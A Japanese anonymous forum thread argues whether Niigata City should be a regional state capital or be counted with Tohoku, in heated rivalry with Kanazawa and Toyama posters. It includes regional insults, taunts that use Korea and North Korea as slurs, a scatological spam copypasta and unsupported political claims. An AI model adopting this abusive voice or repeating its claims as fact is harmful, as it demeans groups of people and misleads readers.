これはまだ通過点です。政令指定都市のあとは次なるステップアップを目指ことになります。

おことわり。

新潟市だけが○○○なれば良いやッと言うつもりはありません。
新潟県の発展を願っている県民にすぎません。

>>542
はぁ？あんたマトモに仕事してんの？
中央業者だって地方に出てきて仕事してるご時世だよ。
オメデタイにも程があるな。
じゃ、関東とか近畿の人間に同じこといってみろｗ

旬なのは北陸だけだろ。てか、四半世紀遅れてきた鉄道に
浮かれるなってのも酷な話だよな。青森はそんなに浮かれてなかったよ。

他のインフラの話になると全然出来なくなるのね。
てか、全然ねーし。

やっぱ北陸って時間止まってるのな。

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

>>545
新潟の土建が何でもいいから仕事させてくれってよｗ
新潟には仕事がないんだとよ。富山に出稼ぎにも繰るし。
関東とか近畿の人間に新潟人は北陸に出稼ぎにくるよって言ったら爆笑もんだよ。

というか新幹線以上に北信越で旬な話題ってあるかね。
この新幹線にびびりまくってるのも新潟人。
詳しくは土建スレをどうぞ。たぶん失望するよ。
出来る時期まで20年後とまでいって市民を安心させければいけない状況
ってかなり笑えるんだが。


というか新潟のほうが時間とまってるのでは？
少しは生活全国水準にちかづけたら？

＞地方拠点５大都市
　札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

聞いたことねーよｗ
どこに載ってるんだ？

人口８２万人　日本海側唯一の政令指定都市　ウォーターフロントシティー新潟

萬代橋：http://askayama.net/machicard/niigata/niigata/bandaibashi.html
古町地区：http://askayama.net/machicard/niigata/niigata/ishizue.html
広域行政地区（新潟県庁）：http://port.s35.xrea.com/cgi-bin/img-box/img20030823111304.jpg
新潟県庁より遠景：http://bokunoniigata.gooside.com/img002.jpg
りゅ〜とぴあ（新潟三大箱物�@）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=80
ビッグスワン（新潟三大箱物�A）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=2&cdcode=32
朱鷺メッセ（新潟三大箱物�B）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=6&cdcode=233
リバーサイド緑地１：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=161
リバーサイド緑地２：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=163
リバーサイド緑地３：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=159
リバーサイド緑地４：http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=15
万代シティ�@：http://niigata025.at.infoseek.co.jp/01/page009.html
万代シティ�A：http://niigata025.at.infoseek.co.jp/01/page010.html
万代シティ�B：http://niigata025.at.infoseek.co.jp/01/page011.html
新潟夢海岸：http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=64
駅前通：http://image2.photohighway.co.jp/se-bin/phjfile.dll?id=12940090&fl=1351386
万代橋通：http://image2.photohighway.co.jp/se-bin/phjfile.dll?id=15150577&fl=1351386
ｱﾙﾋﾞﾚｯｸｽ：http://niigata.xrea.jp/06/img1000.jpg
柳都大橋：http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=216
新潟ﾊﾞｲﾊﾟｽ：http://www.hrr.mlit.go.jp/nyusho/annai/1/passion3.html

今後も新しい新潟を宜しくお願いします

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

そしてこれから
地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」
の新時代が到来する

てめえのせまい了見で何語ってんだかなｗ

ま、どうせ新潟と石川の県境には何を言ってもムダだろ。
新幹線で浮かれてんのは富山だけじゃん。
終わればペンペン草も生えてないって。

テレビ朝日もみれないとこが全国水準とは恐れ入ったよ。
正直、金沢には脅威を感じるけど、富山は自意識過剰だな。

バットでも作ってろ。ヴォケ

菅直人「新潟とは、いったい何なんですか？」
小泉　「クソ田舎です」
菅直人「ですから、新潟なんですよ。質問に答えてください」
小泉　「クソ田舎ですね」
菅直人「全く質問に答えていない。国民が聞きたいのは新潟のことなんですよ！」
小泉　「どうあってもクソ田舎です」
菅直人「全く説明になっていません」
小泉　「誰が何と言おうと脱糞悶絶クソ田舎です」

菅直人「うまく逃げましたね。あなたはいつもそうだ」
小泉　「……？」
菅直人「あまり国民をなめないで頂きたい！」
小泉　「ですからねぇ・・・原則として、新潟はクソ田舎、 これは揺らがない、私はずっとそうお答えしています」
菅直人「いいでしょう、最後に私は、小泉総理は新潟について国民をあざむいたと、そう申し上げて答弁を終了します」

>>551
あれるぞー、大荒れだな
富山人はしつこいのが多いからな

新潟市上空より撮影
http://www.photokichi.com/kusatsu/kokutoki1.jpg
http://www.photokichi.com/kusatsu/kokutoki2.jpg
http://www.photokichi.com/kusatsu/kokutoki3.jpg
http://www.photokichi.com/kusatsu/kokutoki4.jpg

p://krd.roshy.human.nagoya-u.ac.jp/~rep2000/akiyama/akiyama3.html

過去ログでこんなのを見つけて笑った。
大昔から金沢人は新潟スレを荒らしていたのね。


126 名前： 名無しさん＠お腹いっぱい。 投稿日： 2000/12/28(木) 23:39

このスレに金沢人は参加してないみたいだな。
新潟スレには頻繁に煽り役として皆勤してるのに・・・(ｗ


167 名前： 名無しさん＠お腹いっぱい。 投稿日： 2000/12/31(日) 01:29

金沢市は話題にも挙がらないようだな(ｗ
だから金沢市民は欲求不満になって新潟スレで
大暴れするんだな(納得)

っというか新潟人が金沢で荒らしてるログじゃないかそれｗ

ああっ、もうダメッ！
ぁあ…ニョイるっ、ニョイォ出ますうっ！！
ニョッ、ニョニョッ、ニョイニョイニョイニョイィィィーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ニョッ、ニョイッ、ニョイィィゥゥッッ！！！
ムリムリイッッ！！ブチュブチュッッ、ミチミチミチィィッッ！！！
おおっ！ニョイッ！！ニョッ、ニョキッ、ニョニョョョョ！！！ニョイォ見てぇっ ああっ、もうダメッ！！はうあああーーーーっっっ！！！
ブリイッ！ブボッ！ブリブリブリィィィィッッッッ！！！！
いやぁぁっ！あたし、こんなにいっぱいニョニョニョニョイ出してるゥゥッ！
ぶびびびびびびびぃぃぃぃぃぃぃっっっっ！！！！ボトボトボトォォッッ！！！
ぁあ…ニョイるっ、ニョイォ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ニッ、ニョッ、ニョイィィィィィィィィ！！！
ムリムリイッッ！！ブチュニョイッッ、ミチミチミチニョイィィッッ！！！
おおっ！ニョイッ！！ニッ、ニョィ、ニョイィィィ！！！ニョイ見てぇっ ああっ、もうダメッ！！はうあああーーーーっっっ！！！
ブリイッ！ブボッ！ブリブリブリィィィィッッッッ！！！！
いやぁぁっ！あたし、こんなにいっぱいニョイォ出してるゥゥッ！
ぶびびびびびびびぃぃぃぃぃぃぃっっっっ！！！！ボトボトボトォォッッ！！！
ぁあ…ニョイ出るっ、ニョイガタ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ニョッ、ニョイッ、ニョイィィィィィィィィィィ！

>>558
お前はバカか？
さっさと消えろ。

新潟市はおとなしく日本海岸南東北州都でがまんしてﾈ

た　の　む　よ　〜
──────────────v────────────┘
　 /　　 丶'´　ヽ　　　　l　l､ i　　l
　'　　 /　 　 　 ﾄ､　 ｰ┼-H ! 　 |
　|　 ,'　i___jレｲ´|l/　/ﾚ'/l l}j　//
　.i　l　 | i !| /ｌL/ｨ／ 切!「/／/　＜ウフフ･･･この日本海岸南東北州都が
　 li !　 l l|ｋうﾉ　　 ゞ 　' ' イl/
　 |}ハrv'　' ' 　 　r‐1　　 /　!
　 l l　 lﾄ-へ.　 　 ヽﾉ , イi　 |　　　　　　　 ﾒ ／））))
　 ｌ! !　ﾊ　 ヽＮ｀￣´| ｌ! l　ｌ　|　　　　　　 ﾒ／／//,
　　 | /／lﾄ､ ヽﾄ---'＞┴ ､ | 　 　 　 ﾒ／'´ﾉゝ／ 彡
　　 くヽ:..:..ｌ i　l i｀￣´:..:..:..:..:ヽ!　　　／{　-ィ/"⌒ヽ
　　　l:..:.ヽ:| l　l |:..:..:..:..:..:..:..:..:..:l　／;;;;;;;;ヽ-ｲlニニﾆl

下越が山形県に編入するもの秒読みといわれるが、
山形県より下越のほうが人口が多いのが気がかりでもある。

>>561
東北の拠点を自負する仙台が山形を手放さないだろう

>>561

てか、オバカさんだなｗ

このスレも５００を超えた。
ここまで伸びるとは思わなかった。
如何に多くの人が新潟に関心を持っているかが良くわかる。

これからも北信越州都新潟市を語り尽くそう。

　　　　 曰
　　　 　| | 　 ∧＿∧ 　　　　／￣￣￣￣￣￣￣￣￣￣
　　　　ﾉ__丶（〃´Д｀)＿　＜　にいがた･･･？　あぁ、東北の日本海側にあるアレね。
　　 　 ||越||／ 　　　.|　¢、 ＼＿＿＿＿＿＿＿＿＿＿
　 ＿　||寒|||　|　 . 　 ￣丶.)
　 ＼　||梅||Ｌ二⊃ .￣￣＼
　　||＼`~~´　　（＜二：彡） ＼
　　||＼||￣￣￣￣￣￣￣||￣
　　 .　 ||￣￣￣￣￣￣￣||

また可部か…

新潟大人気だなぁ

よく言ってる国の出先機関だけど、
これって新潟より金沢のほうが多いじゃん。

国交省くらいでしょ、新潟市に置いてるの。

新潟は拠点性薄いからね。
かえつと山形ぐらいしか

極悪非道のﾆｮｲ潟人

■失笑がコテでｷﾑｽﾚなどあらゆる所で徹底して毎日金沢を煽りまくり
■痛い妄想厨「新潟市内」が金沢、富山を占拠。結果、荒れて掲示板閉鎖
■あまりにひどい荒らしに正当な反撃しただけのpointをアク禁に
■偽日本海最強市民（金沢在住ﾆｮｲ汚）が良コテ本物を駆逐
■北陸に粘着し続け最強市民や＠TOYAMAなど北陸コテを壊滅させた
■もう3年以上もｷﾑｽﾚを乱立させ続け板自体を大混乱におとしいれている
■この板だけじゃなく全板にｷﾑｽﾚを乱立させ続けている
■まちＢなどでも荒らしをしている
■この板の癌、この板で最悪の荒らしがﾆｮｲ潟人

>>570
それも一理あるかも知れないが、
元来、北信越は政令指定都市新潟市をめぐり対立が絶えないエリアであった。
従来から国が新潟県の帰属性をしっかりと定めずにほったらかしにしていた事が大きく災いしていた。
しかし、ＲＩＭＥＳ（＝ＳＴＡＳＥ）
掲示板にが参入した昨年春から両掲示板の状況は急速に悪化したと思う。
元来北信越とは関係無い者（おそらく愛知県豊田市民）でありながら、やたら偉そうに出しゃ張り、「新潟市内」のみに対してだけでなく、他の投稿者に対してもケンカを売りつけるありさまだった。
挙句の果てには、新星市管理者に対してもその構想を侮辱する姿勢がひどすぎた。
これは、心有る、両掲示板閲覧者であれば理解できるはずだ。
それに釣られて、新星市構想を侮辱する投稿者も続々あらわれた。
これでは管理者もＢＢＳを閉鎖してしまうだろう。
願わくば、また掲示板が再開し北信越のインターネット交流ができる事を願う。

>>570
蒲原弁オヤジの登場で新潟市スレは破壊された。

>>570
それも一理あるかも知れないが、
元来、北信越は政令指定都市新潟市をめぐり対立が絶えないエリアであった。
従来から国が新潟県の帰属性をしっかりと定めずにほったらかしにしていた事が大きく災いしていた。
しかし、ＲＩＭＥＳ（＝ＳＴＡＳＥ） が掲示板に参入した昨年春から両掲示板の状況は急速に悪化したと思う。
元来北信越とは関係無い者（おそらく愛知県豊田市民）でありながら、やたら偉そうに出しゃ張り、「新潟市内」のみに対してだけでなく、他の投稿者に対してもケンカを売りつけるありさまだった。
挙句の果てには、新星市管理者に対してもその構想を侮辱する姿勢がひどすぎた。
これは、心有る、両掲示板閲覧者であれば理解できるはずだ。
それに釣られて、新星市構想を侮辱する投稿者も続々あらわれた。
これでは管理者もＢＢＳを閉鎖してしまうだろう。
また掲示板が再開し北信越のインターネット交流ができる事を願う。

長すぎて読む気にならんし、二度も書き込むなよ。
マジで書き込むってのもなぁ・・・

みんなそれなりに楽しんでるみたいだけどね。
違うか？どうせ２ちゃんなんだし。

★新潟県知事　泉田裕彦の会見録（年頭の挨拶）
＞新潟市を都市圏という形で見れば、福島県、山形県の日本海側から来られる方、経済的な結びつきの強い方が
＞結構おられます。そういう観点で一つの拠点をつくっていくにはどうしたらいいかという政策の企画立案が求めら
＞れると考えています。

　新潟県知事自ら、新潟市の東北州入りを要望してるようですネ。

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

もうすぐ合併だ

流し読みしたけど、すんげー糞スレ

新潟人レベル低すぎ

可部ってドコの人なんでつか？

金沢朝鮮族自治州

金沢って大嫌い

ニイガタって、ロシア沿海州の州都だっけ？

北朝鮮の飛び地です

北国新聞によると富山県の砺波地方の人々が金沢を嫌っているみたいですね。
金沢に支配されるのはもう嫌だみたいですね。
新潟に決定的ですね。砺波を支配できるのは新潟市です。
お願いです。支配してあげてください。
北陸州は富山と新潟でお願いします。
石川県はやはり大阪か京都の支配を受け入れます。

>>584
ﾏｼﾞﾚｽするとｷﾀｸﾞﾆなんか信じてる時点で
お前は廃人。
砺波をどこが支配しようが（この表現自体おかしいがｗ）地理的に
金沢との関係は切れない。
いやなら町を出て行くしかない。

人口８２万人　日本海側唯一の政令指定都市　ウォーターフロントシティー新潟

萬代橋：http://askayama.net/machicard/niigata/niigata/bandaibashi.html
古町地区：http://askayama.net/machicard/niigata/niigata/ishizue.html
広域行政地区（新潟県庁）：http://port.s35.xrea.com/cgi-bin/img-box/img20030823111304.jpg
新潟県庁より遠景：http://bokunoniigata.gooside.com/img002.jpg
りゅ〜とぴあ（新潟三大箱物�@）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=80
ビッグスワン（新潟三大箱物�A）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=2&cdcode=32
朱鷺メッセ（新潟三大箱物�B）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=6&cdcode=233
リバーサイド緑地１：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=161
リバーサイド緑地２：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=163
リバーサイド緑地３：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=159
リバーサイド緑地４：http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=15
万代シティ�@：http://niigata025.at.infoseek.co.jp/01/page009.html
万代シティ�A：http://niigata025.at.infoseek.co.jp/01/page010.html
万代シティ�B：http://niigata025.at.infoseek.co.jp/01/page011.html
新潟夢海岸：http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=64
駅前通：http://image2.photohighway.co.jp/se-bin/phjfile.dll?id=12940090&fl=1351386
万代橋通：http://image2.photohighway.co.jp/se-bin/phjfile.dll?id=15150577&fl=1351386
ｱﾙﾋﾞﾚｯｸｽ：http://niigata.xrea.jp/06/img1000.jpg
柳都大橋：http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=216
新潟ﾊﾞｲﾊﾟｽ：http://www.hrr.mlit.go.jp/nyusho/annai/1/passion3.html

今後も新しい新潟を宜しくお願いします

新潟ほどではないけど金沢も発展しているよね。
北陸の中心って感じ。
北陸地方の各駅では「北陸最大のオシャレショッピングゾーン・タテマチ、
香林坊に行こう！」てなパンフが一杯ならんでいる。
万代ほどではないけど田舎な方では頑張っているよね。

新潟人レベル低すぎ　低学歴だからしかたないか

>>587
北陸最大のオシャレショッピングゾーンは明らかに万代だろ？

万代？　いいんじゃない。味気ないけど。

というか新潟は北陸じゃないから。
北陸なら北信越なんて出てこないし

全体の規模からいくと新潟が一歩も二歩もリード。

北陸と新潟なら北陸が一歩も二歩もリード

新潟にとって甲信越にはいっても仕方ないきがする

>>594
ほかの二つもそう思ってるよ。
長野とか特に。

>>591
地理の教科書では新潟は北陸ですが何か？
あなた池沼ですか？

北陸西部地域が「北陸」を独占している件について

>>596
じゃあ北陸甲信越の越って何？
教科書が必ずしも生活や経済状況にあってるわけじゃないし。
北陸3県では北陸では新潟でないし、いてもいなくてもいい存在。スネオ

っていうか　
下越って東北だろ？

>>598
必要かどうかで決まるものではない。
北陸地方４県は五機七道で北陸と定められて以来、同時に平等にに北陸。

>>600
その固定観念がいかんと思う。
定めたのが人間なら変えるのも人間。
新潟の人ってなんかお上体質の人が強いのかな。
そこら辺がなんか北陸３県との温度差を一番感じるんだよな。

今の新潟は現状を考えて東北との関係を強くしていかないと（山形、福島）
中途半端になりそう。
東北の何がいかんの？世間では高校野球やプロ野球で
むしろ新潟より東北のほうがイメージいいよ。

下越⇒東北大嫌い

中越⇒どちらでもない

上越⇒東北に親近感は感じないが嫌いではない。

下越の人間は自分達が東北と一緒にくくられることに恐怖心を覚えている。

下越の人間は上中越の人間以上に関東に強く固執する。

だから新潟は別に北信越の州都にならなくてもいいから欧米の(企業)植民地になってでも国際化の道をひたすら進むべきだ。

>>601
東北が嫌だなんて一言も言っていない。
北陸の範囲を勝手に狭めるからおかしいと言っているだけだ。

>>605
現状では３県でやってると思う。
新潟は入ってきてる？
北信越の州都になっても大半は北陸長野の人間だから
形だけの州都になる悪寒。
こちらとしては名古屋とかのほうが身近だし新幹線が通れば
新潟より長野の方が関係が密になると思う。

そういうことを考えれば新潟が北陸から外れても何もおかしい点はないと思う。
今教科書がどうこう言っても大して意味は持たない。
新潟は東北とのゲートに路線を変えたほうがいい。

新潟市民ですが東北が大嫌いです。
僕らは上越中越と比べて訛りも酷くて東京からも遠くて
テレ東もみれなくて関越も17号も上越線もないけど
関東が大好きです。

新潟は東北州に入る可能性はある。
しかし東北のほうも新潟を東北と認めてくれるのかどうか気になる。
2chなどの北陸人は新潟を拒否している。東北はどうだろうか。

だから〜、長野を入れるなよ！

国が定めた選挙区の存在は絶対的だ。
http://www.city.yokohama.jp/me/senkan/tosho/map.html

これは政府が将来の道州制を見越して制定したもの。
これに優るものはない。

前にも言ってるが
新潟と福島で西と東の文化が大きく分かれてるところはない
こっちは茨城方面からの影響がかなり強い（昔は磐城）と言ったところで
関東と名乗ってもおかしくないくらい千葉埼玉栃木茨城の影響を受けている所
今でも常磐地区で経済的交流が多い
反面会津は北陸方面の影響が少なからずあると思う

>>608
リアルの北陸の人も新潟は別の地域という感じでは？
市かわ県知事の「新潟って北陸？」発言は北陸の人の普通の感じ方。
>>610
無理やり地方自治無視して作ればそうなるだろうね。
でそうなったら人口が多く政令指定都市の新潟市が州都になるだろう
でも州の人口の5割以上が北陸新幹線沿線で北陸長野間での経済
・文化・人の流れが中心なので州都新潟はお飾り状態になるだろう。
裸の王様だよ。

>>611
北陸地方整備局の管轄エリアにも会津若松は含まれている。
http://www.hrr.mlit.go.jp/gaiyou/map/index.html

それは一理ある。

>>610
山梨、神奈川、千葉なんていう絶対ありえない
枠組みになっている時点で却下だろ。
そんなでたらめによりどころを求めるなんて
新潟はやっぱりもうだめぽ。

>>608
「裸の王様・お飾り」とはよく言ってくれたもんだ。
それならそれで、「裸」、「お飾り」からスタートしようじゃないか。

よく北陸新幹線を根拠にしているみたいだが、それしか誇れるものがないとは。
現実の流通は高速道路網だろう？
新潟市が政令指定都市にもなると国内各地が新潟市を見る眼が全く変わる。
新潟は衰退ではなく躍進に向かうだろう。
少なくとも福井、金沢、富山、長野とは状況は一変する。

単に大都市を作れなかった地域のざれごとに過ぎないな。

新潟市は国の方針に従い、ちゃんと合併を実現し、現在の所、新潟市を含めて１４市町村が集結し、政令指定都市となる。
しかも、その核となる新潟市にはしっかりとした中心部（都心部）が形成されている。
つまり都市機能が分散し、としない対立が起き易い「複眼都市」ではない。

地方中枢都市としての風格も備わっている。一度、新潟駅前・東大通りに立って見れば北信越一である事は誰もがわかるはずだ。

ああだこうだと理屈をこねて新潟を否定しているみたいだが、しっかりと合併し、日本を代表できる中枢都市を築かなかったお前らにも問題がある。

国から評価される都市作りを怠った責任を棚に上げておきながら何をか言わんや？

下越人はこんなアホばっかＷ

>>608
「裸の王様・お飾り」とはよく言ってくれたもんだ。
それならそれで、「裸」、「お飾り」からスタートしようじゃないか。

よく北陸新幹線を根拠にしているみたいだが、それしか誇れるものがないとは。
現実の流通は高速道路網だろう？
新潟市が政令指定都市にもなると国内各地が新潟市を見る眼が全く変わる。
新潟は衰退ではなく躍進に向かうだろう。
少なくとも福井、金沢、富山、長野とは状況は一変する。

単に大都市を作れなかった地域のざれごとに過ぎないな。

新潟市は国の方針に従い、ちゃんと合併を実現し、現在の所、新潟市を含めて１４市町村が集結し、政令指定都市となる。
しかも、その核となる新潟市にはしっかりとした中心部（都心部）が形成されている。
つまり都市機能が分散して、同一と市内での対立が起き易い「複眼都市」ではないのだ。
これは仙台市にも通じるところでもある。

地方中枢都市としての風格も備わっている。一度、新潟駅前・東大通りに立って見れば北信越一である事は誰もがわかるはずだ。

ああだこうだと理屈をこねて新潟を否定しているみたいだが、しっかりと合併し、日本を代表できる中枢都市を築かなかったお前らにも問題がある。

国から評価される都市作りを怠った責任を棚に上げておきながら何をか言わんや？

>>616
しかし、これが現実だろう？

国が定めた選挙区の存在は絶対的だ。
http://www.city.yokohama.jp/me/senkan/tosho/map.html

新潟県新潟市は正真正銘北陸信越だ。

都道府県の場合、標準財政規模の5%以上の赤字を計上した場合財政再建団体になる。
これは地方財政再建促進特別措置法に基づくもので、地方自治体の破産と言える。
その地方自治体は総務大臣の許可を得ない限り原則として地方債の発行が出来ず、首長は総務大臣に「財政再建計画書」を提出しなければならない。

国はそれを厳しくチェックし、自治体の財政は国の厳しい管理下に置かれることになる。
独自事業が廃止されたり歳出削減の具体的な指示を受けたりし、実質的に地方の自治権が制限される。

財政再建団体に転落した場合、公共事業、住民サービス、県職員の給与すべてについて過酷な歳出削減が行われる事になる。

建設的な計画はすべてストップをかけられる可能性が高い。
現状維持どころか縮小均衡へ身を削いでいく事になるだろう。
何よりも自分たちで物事を決めることができないのだから、屈辱的でひたすら忍耐を強いられるものとなろう。

だから、どの地方自治体も財政再建団体になるのを避けようと必死の努力をする。
税収回復のための手段を講じる時間が残っていると考えていたが、新潟県に残された時間はあまりないようだ。

>>620
泉田さんがうまくやってくれるさ。

それに新潟市は日本に認められる政令指定都市になるんだ、県財政は好転する。

>>617
もちつけ
政令指定都市だから経済的に動向ってのは詭弁。
愛知も大阪も福岡も火の車。
大体な政令指定都市になってさいたまや千葉を見る目が変わっても
それがどうしたんだ？他の地域の人間にはかかわりのないこと。
他の地域の人間は利害を優先して行き止まりの新潟市より発展の余地がある
長野−富山−金沢間に投資します。

＞新潟は衰退ではなく躍進に向かうだろう。
ここらへんやばいよ。
根拠もないのに

というかもう出てこなくていいよ。
君は理論武装がなってないから。
新潟が発展してほしいなら新潟は北陸と東北のゲートしか道がないんだよ。
北信越がいいって時点で終わってる。

>>622
詭弁と言うのは、政令指定都市になってから言うべきだ。
北陸と東北のゲートと言うが、流通面に視点を絞るなら、
東北道〜磐越道〜北陸道〜大阪
が最短ルートであることは事実なので、北信越が全国各地の流通の中継点になる。
更に、北陸〜東海、長野〜関東・東海ルートもある。
北信越には十分な機能を発揮する場がある。
その北信越を統轄するのが北信越州都新潟市だ。
長野−富山−金沢間への投資と言うが、国は政令指定都市へ多く投資するのは日本の常識。

もし、国が新潟市を地方拠点都市「札仙新広福」として位置付けるなら今後一層国の新潟重視政策は本格化するはずだ。

まずは、平成の大合併完了後の行政機関の再編・統合の成り行きに注目したい。

理論武装だのかんだのと言うレベルの問題ではない。

IDわざわざ変えて書き込んでる>>623
あんたコテハン名乗れば？
そんな勇気もない腰抜か？

>>624
まだ決めてない

キムしね

>>617
骨のある論客の登場で、ようやくこの板もまともになってきましたねぇ。
新潟のことになると、どうしてこうみんな客観的思考力が停止してしまうのかねぇ。
そんなに新潟って気になる存在なのか？
ま、新潟のことをムキになってどうのこうのとののしる連中は、ある特定層・特定地域の人たちなんだろうけどな。
いまどき「日本海側」だの「太平洋側」だのって、このボーダーレス時代には流行らないよ。
まして、そういうことに差別意識を持ってるなんて、ほんとにその人は現代人かのねぇ。
そんなに新潟のことが気になるんだったら、とりあえず一度でいいから新潟の実情を見てくれば？
東京から２時間弱で着いちゃうんだから。
おれは正直、新潟をあなどっていたけど新潟の街並には度肝を抜かれたよ。ほんとに。

×見にくれば

○見に行けば

>>627
自己弁護乙。
そうでなければもう少し見る目を養え

>>623
東北と関西はそんなに結びつきよくないし
北陸長野が流通の中継になるのに対し新潟はそうでない。
だいたい国がっていう話じゃなくて民間の投資。
行き止まりに投資するような余裕のある企業がいまの日本にあるのか？

＞もし、国が新潟市を地方拠点都市「札仙新広福」として位置付けるなら今後一層国の新潟重視政策は本格化するはずだ。
だから痛すぎ
広島も仙台も後背地があるから拠点都市なの。
後背地になるところのほうが豊かで経済活動が域内でやってないところを拠点って言うのかね？
拠点って辞典で調べてみな


だからまともなレス返せよ。
国がっていう点で思考停止していて
議論が停止している。
この国は共産主義じゃないぞ。

>>629
お前頭悪いな。
共産党は、合併・政令指定都市化反対姿勢なんだぞ。

自民党政権が続く限り、国による新潟重視策は変わらない。

後背地はこれから作っていく。
何も、物資が新潟市内を通過する事が流通の中継基地ではない。
たとえるなら、ＪＲの鉄道網ＡＴＣを制御するのは基幹駅にある制御システムだ。
新潟市は北信越内全域の流通をＡＴＣ遠隔集中制御する指令本部として機能すればよいのだ。

新潟はこれからの本州日本海側の流通・北信越の流通を変えていく。
今回の政令指定都市化はまたとない好機である。

これを活かさない手はない。

630の文章は撤回する。

申し訳なかった。

>>630
共産主義っていっただけで共産党って言ってない。
そもそも論点が違う。論点ずらし下手だね。
民間主導が中心の流れなのに国を主張しすぎている
君の論理は共産主義そのもの。


何も、物資が新潟市内を通過する事が流通の中継基地ではない。
たとえるなら、ＪＲの鉄道網ＡＴＣを制御するのは基幹駅にある制御システムだ。
新潟市は北信越内全域の流通をＡＴＣ遠隔集中制御する指令本部として機能すればよいのだ。
↑
痛々しい。
脳内完結しててください。
基幹益の役割は終点で近くの金沢駅担当。
近くになければ意味ないのよ。


後背地ってのは自然に出来るの。
東北の都市も中四国の都市も域内の経済活動が良好だったから
自然にそうなった。国が割り当てたわけじゃないよ。

たしかに北信越で金沢・長野・富山が裸の王様新潟氏を
笑いながら流通をかえていくのは面白いな。


どうでもいいけどキムスレで必死な宣伝ご苦労様。
そんなに気になるのね。

>>629
東北〜北信越〜関西　ルートが不十分なら積極的に開拓すればよい。

後背地がないなら作ればよい。
攻めの姿勢を持ち、前向きに突き進む貪欲さも時として必要だ。
これが都市間競争に勝つための心構えだ。

何も策を練る事もせず、ただ「新潟に拠点性がない」「新潟は衰退地域だ」などと、くだらんのうがきを垂れ流しているようではまだまだ危機意識が欠如しているな。

たらたら泣き言たれながす位なら、積極的にお前らの都市のビジョンを開拓したらどうなんだ？

>>631
勝手に撤回させるな

633の文章は撤回する。

申し訳なかった。

最近パソコンの調子が悪く書き込みに時差が生じてしまうようだ。

>>632

州枠・州都は閣議で議決され、総務省により官報に告示されて決定する。
どこが民間だ？

確かに企業投資は民間だが、国策投資・行政区画設定は国の権限により定められる。
両者は異質だ。

それからこのスレは北信越州都としての新潟市を語るスレだ、新潟人が立てたに決まっているだろう。

>>635
このニセモノが

>>637
どうして私がニセモノなのだ？

明確な証拠を示したまえ。

>>633
負けるのがわかってる田舎都市に投資する馬鹿なんていないし
おまえ考えが独善的だぞ。
東北−大阪と簡単に言うが需要がなければ新潟いくら泣いて懇願しても無理だ。
100歩譲ってルートを作るとしても新幹線つくらな無理という距離。

後背地は作ればいい？
また独善的。
レスするまでもない。


新潟は衰退してます。人は減ってます。
仕事も少ない。
拠点性もありません。すべて事実でしょ。

>>636
また適当なことを。
富山がなぜ北陸４県をやりたいかわかるか？
地理的な中心になり州都がとりやすくなるからだよ。
地方自治の形が道州制ってこのスレで何度も述べられてるでしょ。
州枠に関してもそうで長野・福井はまず撤退する。
これまでの新潟お飾り説自体前提があったわけです。

国策投資？
民間投資がなければ都市は潤わないよ。
まあ土建ばっかの新潟には理解しがたいだろうが。

>>640
まず国から認められる政令指定都市になってから言いましょう

私の文体を真似たニセモノがいるようだが>>636の発言は行き過ぎたものがあった。

この点については反省している。

言い訳がましいがパソコンの調子が悪く書き込みに時差が生じてしまうようだ。

>>640
国から認められても
地域で認められない都市ってかわいそうね。
無駄な努力。

>>643
>>642

>>643>>644
>>641
だった。かなりミスってるな

>>639
お前はバカか？
どうして新潟市が負け組みになるんだ。
それに財政危機・衰退している県とは言え、新潟県は本州日本海側一の雄県だぞ。
母体の新潟県にいまだ尚北信越内各県に比して絶対的な力があるんだ。

とにかく政令指定都市がある県と無い県の差は大きいぞ。

>>646
正解。東北を見てみよう。

ID変え依存症

>>643
まずは国から認められる事が最重要だ。
北信越州都新潟市を確立するためには国から認められる事が絶対不可欠。
そのために国が進める合併政策に真剣に取り組んだのだ。

エリア内での基盤はその後で作るべきもの。

>>646
お前のほうが馬鹿だろ？
母体の新潟県がつぶれそうなんだろうが。
下越だけなら借金もそうひどくねえよ、出稼ぎは多いが。
でかいだけで小回りが利かない曙状態。

新潟市の拠点性の薄さは致命的なんだよ。
だからいくら数が増えても同じだ。地域全体で発展しなければ意味がないんだ。
その地域はこのスレでいわれている形・脳内だけのものではなくて実際に経済活動が行われている地域だよ。

